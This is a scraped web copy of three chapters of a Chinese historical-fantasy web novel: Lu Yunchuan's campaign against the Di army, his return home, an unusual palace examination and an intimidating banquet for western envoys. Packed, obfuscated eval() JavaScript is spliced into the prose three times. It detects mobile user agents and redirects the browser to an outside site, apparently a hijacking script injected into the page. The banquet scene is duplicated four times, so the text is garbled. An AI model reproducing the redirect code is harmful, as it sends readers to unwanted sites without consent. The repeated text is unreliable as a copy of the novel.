两军便展开漫长对峙。 狄军每日早中晚,都会派人前来挑衅谩骂,欲逼凉军出城决战。 “凉狗,你下来啊!” “羌狗,你上来啊!” “缩头乌龟,下来决战!” “无胆鼠辈,赶紧攻城!” 但长期对峙下去,终究还是凉军更亏。 雍州方面已发来文书,为了维持远征粮草,已开始向农户征粮。 虽说打仗征粮很正常,但新国刚立两年,便开始搜刮百姓,始终有损形象。 狄军这边,粮草充足,耗到冬季都不成问题。 “王爷,老夫忽然心生一计,必叫凉军弃关而逃。” 狄军大帐中,阿拉善与完颜隼,美酒瓜果无一不少。 “哦?老师速速讲来。” “以凉国的体量,远征半年已到极限,他们肯定后勤告急了,您何不书信一封发往长安,让陛下出兵攻打龙脊关; 也无需全力以赴,只要让凉国感受到威胁即可; 如此一来,东西两线作战,凉国肯定无法承受,凉军必定会‘舍远保近’呐。” 阿拉善扶着下巴长须,一副胸有成竹的模样。 “老师果然大智,此计甚妙啊!” 完颜隼放下酒杯,“本王这便去写信!” 可他才刚刚站起身来—— “报!” 一名斥候风尘仆仆冲进大帐: “丰州传来急报,一支凉军不知从何处窜入国境,烧杀劫掠,已致万余人流离失所,丰州兵力不足,恳请王爷速速调兵回救!” “什么!!!” 帐中美酒瓜果,瞬间不甜不香了。 第二百零九章小别胜新婚 丰州可是北狄在西线的屯粮重地。 一旦被攻陷…… “有多少凉军?” 完颜隼急忙追问。 “有说三四千的,有说一两万的,太混乱了,没人知道具体有多少……不过可以肯定的是,都是身穿甲胄的正规军,还有少量的骑兵!”斥候回答。 三四千带甲精兵,足以攻城略地。 北狄大军都在前线,留守城池的都是些厢军,若坐视不管杀到旧王都都有可能! “老师,这下该如何是好?若再让事情闹大,只怕皇兄怪罪下来……” 完颜隼咬着牙齿,拳头怒锤案桌。 阿拉善思索道:“眼下唯有两条路,要么撤军回救;要么……强攻玉户关,击垮凉军!” 完颜隼怒后,坐回了位置,冷静思考。 若丰州被夺,大军粮草被断,撤兵是小,万一凉军**…… 凉军在玉户关屯兵可不少,即便强攻也绝非短时间能破。 陆云川,竟没想到你还有这招! “来人——令乌木台领三千轻骑,火速赶回丰州救援;大军各营,入夜后缓缓拆帐撤军,步兵严正以待,时刻警惕凉军夜袭!” “遵命!” …… 六月初十,夜。 玉户关城门楼上。 “报!” 斥候跑上城墙,“王上,前方探马回报,狄军各营已在拆帐,正在有序向后撤退。” 陆云川眼神平淡,心中暗自叹道:还好自己有先见之明,去敌方后院放了把火,否则这么僵持下去,这玉户关还真不一定守得住。 完颜隼,是强敌啊。 “再探,要确保狄军全面撤退。”陆云川下令道。 斥候应声而去。 “王上,趁狄军后撤,我们何不趁机袭营?”马山在一旁问道。 “完颜隼不是普通人,他会挑在晚上撤军,肯定便想到了咱们会袭营的可能,必定会有所防备。” 陆云川微微摆手,“由他们去吧,咱们守住玉户关便是大胜。” 一直到次日太阳升起。 听到斥候回报,狄军真的撤了,陆云川心中那口气才长长叹了出来。 赢了。 结束了。 历时四个多月,跨越两千多里的远征,终于彻底结束了。 “赵猛。” “末将在!” “接下来,有几件事。” 陆云川顿了顿,安排后续: “以玉户关为守,建立西域都护府,由你出任都护兼总兵,萨武为副都护,维护河西走廊这条重要商路; 羌国有生力量已除,剩下的都是虾兵蟹将,愿降者留用观察,不降者直接抹杀; 其国境内的财富,都要收拢于手,允许你留些自用,但不许吃得太多; 羌国王都,凡李氏王族子孙,男丁一个不留,斩草除根;至于女眷么,你自己看着办吧; 再者便是西域各国各部,派人以凉国名义前去拜访; 只告诉他们:‘八月十五,中秋佳节,本王要在雍州设宴,请他们来喝酒’; 话带到即可,至于来不来,全看他们是否识趣了。 “末将统兵征战倒是没问题,就是……西域各部,又是外族人,人情世故这方面,实在难以招架。赵猛苦涩道。 “这个你不用担心,回雍州后本王会筛选人才,前来帮你料理政务。陆云川说道。 “昔日听李天昊说,他有个表妹乃西域第一美人儿,要不要给王上您留着?赵猛笑着问道。 “有这事儿吗?本王怎不记得了? 陆云川笑着摇了摇头,“越漂亮的女人越危险,小心梦中她们会给你一刀。 “末将……谨记王上教诲! 要清缴羌国残余势力,威慑西域各国各部,维护河西走廊商贸,还得防御北狄边境; 陆云川留下了五万部队,火绳枪,掘子军,穿甲军,朱雀军,这些特种作战的兵团,都提拔了干将。 将所有事务交代清楚后,六月中旬,陆云川带着近卫军与五千士卒,就此踏上了归途。 这漫漫黄沙,陆云川着实厌倦了,他早已归心似箭,故而马不停蹄,有时还星夜赶路。 一个月后。 恰恰好一个月,终于凯旋雍州。 捷报早已传遍凉国全境,回城时百姓夹道而迎,欢呼声响彻天地。 陆云川淡定坐在车驾内,此刻他脑海中只有一个不太出息的想法:赶紧回家,找李婉清舒舒服服洗个鸳鸯浴。 车驾一路驶到了内殿。 “婉清姐,快看,先生他回来啦! 牵挂彼此之人,自然早早等候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001716|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可陆云川拉开车门,才刚将头探出去—— “吓! 苏萍儿身子一斜,连退了两步,“你……你是哪个!? 陆云川顿时被这个问题给整懵逼了,我是哪个? “我是你先生啊,我是哪个! “先生 ?……” 苏萍儿歪着脑袋看了一阵,“可是先生,您怎么变得这么‘黄’了?都不像您了!” 我很黄么? 陆云川摸了摸自己的脸,“呵呵……”不禁笑出了声。 吹了大半年的风沙,皮肤糙得摸起来都刺手,已经从小鲜肉变成“老腊肉”了。 “你……瘦了。” 李婉清心中有千言万语,可就是不知该如何出口,只是看着自己丈夫沧桑的模样,眼中直泛泪光。 小别胜新婚,今朝再相逢。 陆云川也不知该如何宣泄内心的激动。 “我……饿了。” 他一把抱起李婉清,大步朝着后宫走去。 苏萍儿挠了挠头,暗自嘀咕:“饿了便应该往膳厅跑才对呀,为何往后宫里去呢?这些大人可真奇怪……” …… 一番酣畅淋漓过后。 李婉清匍匐在陆云川胸膛,手指不停摩挲着他肩膀上,原先中箭所留下来的伤疤,许久才轻声问: “下一场仗,你又想去哪儿打?” “不打了。” “鬼才信你,自打认识你起,从山大王到凉王,打完东家打西家,便没停过。” 不难听出,她语气中含带着抱怨。 男人在外打拼厮杀,女人在家担惊受怕。 这天南地北的相思之苦,比什么都要伤人。 战争实在太烧钱了,此次远征已耗尽了国力,若再起兵戈便只能加赋税,征钱粮,增徭役。 以燃烧民生为代价,结果只会被其反噬。 所以真的不打了,谁来挑战都只挂“免战牌”。 “接下来,我只做五件事—— 通商贸。 积钱粮。 修内政。 搞火器。” “这才四件,还有一件呢?” 李婉清昂起头问。 陆云川笑了笑,在她耳边淡淡吐出三个字: “生娃娃。” 第二百一十章德,智,体,美,劳 次日。 陆云川将孙铭,许畅,李璞,这三个主要的心腹文臣唤到了书房。 打仗固然重要,内政也不能落下。 “王上,就在上个月,蛮王突然暴毙了。 许畅先挑大事儿讲:“由于走得太快,未曾立下继承遗嘱,如今三大部落正为争夺王位打得不可开交, 其中鹰族势力明显最强,狼族势力则最弱; 昔日我国与狼族有盟约,未来帮助狼族争夺王位; 为此狼族三番五次请求我国供给**助其一臂之力; **乃我国重器,未得王上允许,不敢私自做决定; 如今王上凯旋,是否援助,还请王上定夺。 “援。 陆云川顿了顿,“却不是现在援。 当初陆云川承诺过,与狼族结盟会给予**援助,他不是个失信之人。 蛮国作为凉国的近邻,又是异族政权,自然是越乱越好。 这几个部落,谁快速当上蛮王都不是好事。 故而眼下最好的应对之策,便是让他们打,等打个三败俱伤,再施以援助之手,扶持一个亲凉政权上位。 “你就去跟他们说,凉国刚刚远征结束,国力已经亏空,实在拿不出多余**援助; 让他们再坚持一段时间,等凉国国力恢复之后,一定倾囊相助; 总之,给他们画个大饼,至于何时真正喂他们吃,以后再慢慢考虑吧。 既然**博弈,就不要讲什么义气了,自身利益摆在首要位置。 “微臣明白了。许畅点头退下。 李璞走近前来,“王上,经过您大半年劳苦远征,眼下河西走廊已打通,与西域贸易可以开展了; 微臣希望能在威武,酒泉,张掖,敦煌,瓜州,等走廊主要城池设立榷场,方便与西域各国商人互市。 “准。 老子费尽心思打下河西走廊,为的便是能赚那些胡商口袋里的金子,这种要求陆云川自然是一百个答应了, 他顿了顿又道:“说起这事儿,本王正有事要交给你—— 在离开玉户关前,本王给西域各国广发‘请帖’,邀请他们于下个月中秋来雍州赴宴; 李大人走南闯北做生意,精通外语,熟知风土人情; 那么这场宴会便交给你来操办了; 记住了,要彰显大凉风华,大国威仪,让那些异国使者一进雍城,便肃然起敬,心甘情愿,俯首称臣。 虽然国库里 没什么钱了,但面子还是得做足的,不然怎么在西北称霸做老大? “微臣遵命。”李璞应声退下。 孙铭抱着一本花名册,一大卷宣纸呈上书桌: “王上,这是今年恩科录取的贡士名单,以及他们所写的文章,共计有三十七人,您请过目。” 陆云川拿过考卷翻了翻,满篇都是之乎者也…… 这也太看得起陆某人这个学渣了吧? “贡生是不是还要进行一场殿试?”陆云川问道。 “没错,春闱会试通过的贡生,下一步便是殿试,由王上您亲自出题审考,再钦点您心仪的状元,榜眼,探花,进士。”孙铭说道。 “也就是说,本王出什么题目都可以?”陆云川问道。 “您是王上,自然如此,不过……最好还是以‘修身’,‘治国’,‘齐家’,‘平天下’之类相关最好。”许畅说道。 “不,这种取仕方式未免太世俗了。” 陆云川当即便摇头否定。 能考到“贡生”这个级别,都是有才之士,再考文章也没异议了。 作为一个接受过九年义务教育的大好青年,他还是希望按“德,智,体,美,劳”这个条件来选拔人才。 有才无德之人,文采再高他也看不上。 “这样,咱们来点不一样的殿试取士—— 第一,试德; 你下去想个办法,找人扮演成道士,去‘故意贩卖考题’给那些贡生; 若有投机取巧,徇私舞弊者,直接取消资格,永不录用; 能守住底线与品德的考生,便算通过了这一关; 第二,试智; 本王这里有一道脑筋智力题,叫做‘鸡兔同笼’,你听好了: 笼中有鸡与兔,共有三十五颗头,九十四只脚,问鸡兔各有多少只? 答题时间以焚香为限,时间越短者,成绩越佳; 第三,试体; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001717|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个健康的体魄,比什么都重要; 三位大人在忙于政务时,也要多锻炼身体才是; 这一关便很简单了,将那群贡生带到王宫大门口,让他们一起赛跑,谁先跑到大殿,谁便是第一名。” 从王宫门口到主殿,估摸着怎么也有个三四里路,这点儿距离都跑不下来,干脆别当官了。 “这三关,德占五成,智占三成,体占两成,综合成绩最佳者点状元,其次榜眼,依次探花,再而进士。” 陆云川笑着看向三位心腹大臣:“几位大人 觉得本王这个取士方案可否合理?” 李璞,孙铭,许畅,三人相视了一眼,都笑着点了点头。 王上这人吧,干什么事都不会循规蹈矩,看似不尊世俗,却又合情合理。 “那就下去办事吧。” “微臣告退。” …… 三日之后。 一封花名册交到了陆云川手中。 总共三十七名贡生,通过“试德”测试便有三十二人,可见开国第一场恩科考试,质量非常高。 陆云川大喜。 凉国一直都紧缺文官人才,这三十二名进士都能入仕。 “吴凌峰,张云金,花子荣……” 陆云川一边轻声念叨花名册上的名字,一边又偏头问:“许畅,孙铭,你们作为内阁宰辅,觉得这些人该如何安排?” “这……” 许畅与孙铭低头有些为难。 “怎么了?”陆云川问道。 “王上,我们……” 许畅叹道:“我们原本只是秀才,承蒙王上赏识才幸及人臣,他们都是状元进士,我们……我们……” 自卑了? “那我还是土匪出身呢,不一样穿龙袍,登王位,打天下?” 陆云川笑道:“你们从白顶山几间茅屋,一直跟随本王踏入这金銮殿,风雨同舟,不离不弃,你们不配,谁配得上?” 他起身,拍了拍许畅与孙铭二人的肩膀: “有些人穷极一生,都比不过别人在最恰当的时机,做出了最正确的选择。” “故而本王认为,选择要远远大于努力,对吧?” 第二百一十一章 精神点儿,别丢分儿 接下来的一个月。 整个凉国都在为“中秋盛宴”做准备。 这不是一场单纯的宴会,而是一场弘扬国威,向西域诸国宣誓霸权的**方式。 为了能够彰显军威,体现大凉风华,李璞专门斥资在雍州城外旷野搭建了一座“月华台”。 “李大人,先跟你说好,本王国库紧张,你花的这些钱,可不一定能补上啊。” 陆云川专门找到了李璞。 就一座“月华台”便花了将近十万两银子。 歌姬舞女上千名,几乎将整个凉国会跳舞的女人都找来了。 这么大花销谁顶得住? “王上放心,您收复河西,重启丝路,最大收益者便是我们这些商人; 为了报答您的威德,本次宴会所有花销,皆由我们商人掏腰包; 您只需戴好王冠,穿好龙袍,君临天下即可!” 李璞扪着胸口,财大气粗,就是硬气。 陆云川眯了眯眼睛,心里暗道:这些奸商竟然这么有钱,看来明年该把商税再加几成了…… …… 八月十五,中秋佳节。 今夜,月华似练,挥洒人间。 雍州城万家灯火,可与天上明月争辉! “请西域各国使者觐见!” “叮铃铃……” 驼铃叮当,马銮作响。 高昌回纥,于阗,疏勒、龟兹、大宛……三十余西域各国各部的使团队伍,在凉军豹骑军团无声而冰冷的护送下,缓缓走向月华台。 高昌回纥在西域国力最强,论国境甚至比大凉还要宽阔。 高昌使者阿西木,昂首阔步,姿态清高,走在使者团最前沿。 原本高昌与羌国结交,如今羌国被凉国所灭,河西换了政权。 此次凉王请西域各国赴宴,目的是什么,每个使者心里都清楚。 谁又想成为别国的附属,年年纳贡称臣呢? “阿西木大人,待会儿您可别丢分儿啊……” “是啊,精神点儿,我们部族可都是仰仗您的……” 小国家,小部落,只能跟在大国屁股后面见风使舵。 阿西木轻哼了声,“昔日我国与大一统的大昭王朝,都只是建交而已,未必这凉国还能比得了大昭么?” “听说凉王以前只是个土匪出身……” “也就是运气好,才打败了西羌……” “有高昌主国在,他的手伸不到西域来……” 众使者碎碎念之间,已来到月华台外不足三里处。 “各位使者,欢迎欢迎!” 李璞一身白玉锦衣,含笑抱拳上前迎客,“在下李璞,在凉国主管财政,如今丝路重开,今后凉国的生意往来,还得仰仗各国了!” “凉国有什么生意啊?” 阿西木刻意提高音量,“又不是中原王朝,丝绸,茶叶,陶瓷,你们都没有吧?” 李璞微微一笑:“我大凉有河西走廊便够了。” 商品多有什么用?商路给你切断,你只能烂在家里。 阿西木沉下了脸色。 “宴会马上便要开始了,诸位使者,请。” 李璞做了个“请”姿势,转身领着众人往月华台走。 众使者紧随其后。 “**。” 李璞边走边鼓了三下手掌: “大凉军魂,迎客!” 在道路两旁,清一色覆面墨色重甲的士卒,脸上扣着青铜兽面,狰狞骇然! 手中所持非枪非戟,而是刃宽如掌的陌刀! 月光落在那幽暗如墨的巨刃上,只溅起刺骨的寒芒,仿佛这兵器本身便能吸走所有温度! “轰!” 近万双铁靴同时顿地,声若闷雷滚过荒原! “轰!轰!” 第二步! 大地为之震颤! 使团队伍中几匹骆驼惊恐地人立而起,仆从慌忙安抚。 “轰!轰!轰!” 第三步起,步伐猛然加速! 沉重的金属摩擦与靴底砸地的混响,不再是步伐,而是死亡的战鼓! 单调!急促!带着碾碎一切的节奏,疯狂敲打在每一个使者的心脏上! “嗤……虚张声势……一点也不吓人!我高昌铁甲军更生猛……” 阿西木喉结滚动了一下,强行压下惊悸,挺直腰背向前迈步。 李璞往后斜了一眼,“**”再拍了三下手掌。 “举枪!” 忽听军阵中一声呵斥。 百余只火绳枪高高举起,交叉在众使者所要走过的头顶之上。 “放!” “砰!砰!砰!……” 枪口同时喷出火舌,尖锐的**撕裂空气,刺鼻硝烟瞬间弥漫! 这突如其来的火器轰鸣,几乎让所有使者心头都为之一颤。 西域小国,哪里见过这种火器? 而**未歇,掩埋在荒原周遭的轰天雷,同时被点火**! “轰隆 !轰隆隆!!” **声震荡天地,重重锤在众使者心间,巨大的震颤感,几乎压迫得让人窒息。 “那个李……李大人!你们……究竟是迎人,还是吓人啊!” 阿西木掏了掏被震蒙的耳朵,说话都有些结巴了。 “哦,诸位使者不用惊慌,此乃我们大凉迎接远道而来的客人的‘最高礼仪’。” 李璞微笑解释。 当众使者走到月华台上时,好些人都已腿脚发软,额头冒虚汗。 “王上,西域使者带到。” 李璞冲座上的陆云川微拘一礼,而后回到了自己的席位。 陆云川身着丹青回龙袍,淡然坐在王座上,身旁李婉清凤冠霞帔,端庄怡和。 座下文武官员,几十双眼睛同时聚焦在众西域使者身上,目光中带着上邦之国该有的傲慢。 迫于大国的压迫,各西域使者纷纷开始献礼: “龟兹国敬献神玉璧一对……贺凉王千秋!” “于阗献疏勒河精魄籽玉百斛……愿大凉永昌!” “大宛奉汗血宝马三匹……” 最后只剩下高昌国。 阿西木努力保持大国时辰的高傲,他挺直腰板,拍了拍手。 两名使者捧着两只花瓶走了出来: “凉王,这两只‘西域水晶瓶’乃是无价之宝,是我们国王陛下,特意从国库里挑选出来送给您的。” 在别人眼里,这“西域水晶瓶”极为珍贵,但在陆云川看来,这玩意儿最廉价。 不就是玻璃花瓶么?还无价之宝? 高昌作为西域最大的国家,肯定不会不知道玻璃的廉价,足可见虚情假意。 陆云川看破不说破,只淡淡一笑: “诸国贡送这么多贵重的礼物,本王当然不会吝啬回礼—— 本王从羌贼手中夺回河西,已在敦煌重设都护府,用以统护西域稳定; 从今以后,诸国若有什么解决不了的麻烦,皆可去都护府报备,大凉将护你们周全。” !轰隆隆!!” **声震荡天地,重重锤在众使者心间,巨大的震颤感,几乎压迫得让人窒息。 “那个李……李大人!你们……究竟是迎人,还是吓人啊!” 阿西木掏了掏被震蒙的耳朵,说话都有些结巴了。 “哦,诸位使者不用惊慌,此乃我们大凉迎接远道而来的客人的‘最高礼仪’。” 李璞微笑解释。 当众使者走到月华台上时,好些人都已腿脚发软,额头冒虚汗。 “王上,西域使者带到。” 李璞冲座上的陆云川微拘一礼,而后回到了自己的席位。 陆云川身着丹青回龙袍,淡然坐在王座上,身旁李婉清凤冠霞帔,端庄怡和。 座下文武官员,几十双眼睛同时聚焦在众西域使者身上,目光中带着上邦之国该有的傲慢。 迫于大国的压迫,各西域使者纷纷开始献礼: “龟兹国敬献神玉璧一对……贺凉王千秋!” “于阗献疏勒河精魄籽玉百斛……愿大凉永昌!” “大宛奉汗血宝马三匹……” 最后只剩下高昌国。 阿西木努力保持大国时辰的高傲,他挺直腰板,拍了拍手。 两名使者捧着两只花瓶走了出来: “凉王,这两只‘西域水晶瓶’乃是无价之宝,是我们国王陛下,特意从国库里挑选出来送给您的。” 在别人眼里,这“西域水晶瓶”极为珍贵,但在陆云川看来,这玩意儿最廉价。 不就是玻璃花瓶么?还无价之宝? 高昌作为西域最大的国家,肯定不会不知道玻璃的廉价,足可见虚情假意。 陆云川看破不说破,只淡淡一笑: “诸国贡送这么多贵重的礼物,本王当然不会吝啬回礼—— 本王从羌贼手中夺回河西,已在敦煌重设都护府,用以统护西域稳定; 从今以后,诸国若有什么解决不了的麻烦,皆可去都护府报备,大凉将护你们周全。” !轰隆隆!!” **声震荡天地,重重锤在众使者心间,巨大的震颤感,几乎压迫得让人窒息。 “那个李……李大人!你们……究竟是迎人,还是吓人啊!” 阿西木掏了掏被震蒙的耳朵,说话都有些结巴了。 “哦,诸位使者不用惊慌,此乃我们大凉迎接远道而来的客人的‘最高礼仪’。” 李璞微笑解释。 当众使者走到月华台上时,好些人都已腿脚发软,额头冒虚汗。 “王上,西域使者带到。” 李璞冲座上的陆云川微拘一礼,而后回到了自己的席位。 陆云川身着丹青回龙袍,淡然坐在王座上,身旁李婉清凤冠霞帔,端庄怡和。 座下文武官员,几十双眼睛同时聚焦在众西域使者身上,目光中带着上邦之国该有的傲慢。 迫于大国的压迫,各西域使者纷纷开始献礼: “龟兹国敬献神玉璧一对……贺凉王千秋!” “于阗献疏勒河精魄籽玉百斛……愿大凉永昌!” “大宛奉汗血宝马三匹……” 最后只剩下高昌国。 阿西木努力保持大国时辰的高傲,他挺直腰板,拍了拍手。 两名使者捧着两只花瓶走了出来: “凉王,这两只‘西域水晶瓶’乃是无价之宝,是我们国王陛下,特意从国库里挑选出来送给您的。” 在别人眼里,这“西域水晶瓶”极为珍贵,但在陆云川看来,这玩意儿最廉价。 不就是玻璃花瓶么?还无价之宝? 高昌作为西域最大的国家,肯定不会不知道玻璃的廉价,足可见虚情假意。 陆云川看破不说破,只淡淡一笑: “诸国贡送这么多贵重的礼物,本王当然不会吝啬回礼—— 本王从羌贼手中夺回河西,已在敦煌重设都护府,用以统护西域稳定; 从今以后,诸国若有什么解决不了的麻烦,皆可去都护府报备,大凉将护你们周全。” !轰隆隆!!” **声震荡天地,重重锤在众使者心间,巨大的震颤感,几乎压迫得让人窒息。 “那个李……李大人!你们……究竟是迎人,还是吓人啊!” 阿西木掏了掏被震蒙的耳朵,说话都有些结巴了。 “哦,诸位使者不用惊慌,此乃我们大凉迎接远道而来的客人的‘最高礼仪’。” 李璞微笑解释。 当众使者走到月华台上时,好些人都已腿脚发软,额头冒虚汗。 “王上,西域使者带到。” 李璞冲座上的陆云川微拘一礼,而后回到了自己的席位。 陆云川身着丹青回龙袍,淡然坐在王座上,身旁李婉清凤冠霞帔,端庄怡和。 座下文武官员,几十双眼睛同时聚焦在众西域使者身上,目光中带着上邦之国该有的傲慢。 迫于大国的压迫,各西域使者纷纷开始献礼: “龟兹国敬献神玉璧一对……贺凉王千秋!” “于阗献疏勒河精魄籽玉百斛……愿大凉永昌!” “大宛奉汗血宝马三匹……” 最后只剩下高昌国。 阿西木努力保持大国时辰的高傲,他挺直腰板,拍了拍手。 两名使者捧着两只花瓶走了出来: “凉王,这两只‘西域水晶瓶’乃是无价之宝,是我们国王陛下,特意从国库里挑选出来送给您的。” 在别人眼里,这“西域水晶瓶”极为珍贵,但在陆云川看来,这玩意儿最廉价。 不就是玻璃花瓶么?还无价之宝? 高昌作为西域最大的国家,肯定不会不知道玻璃的廉价,足可见虚情假意。 陆云川看破不说破, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001718|178263||http|test|mini|href|location''.split(''|''),0,{})); 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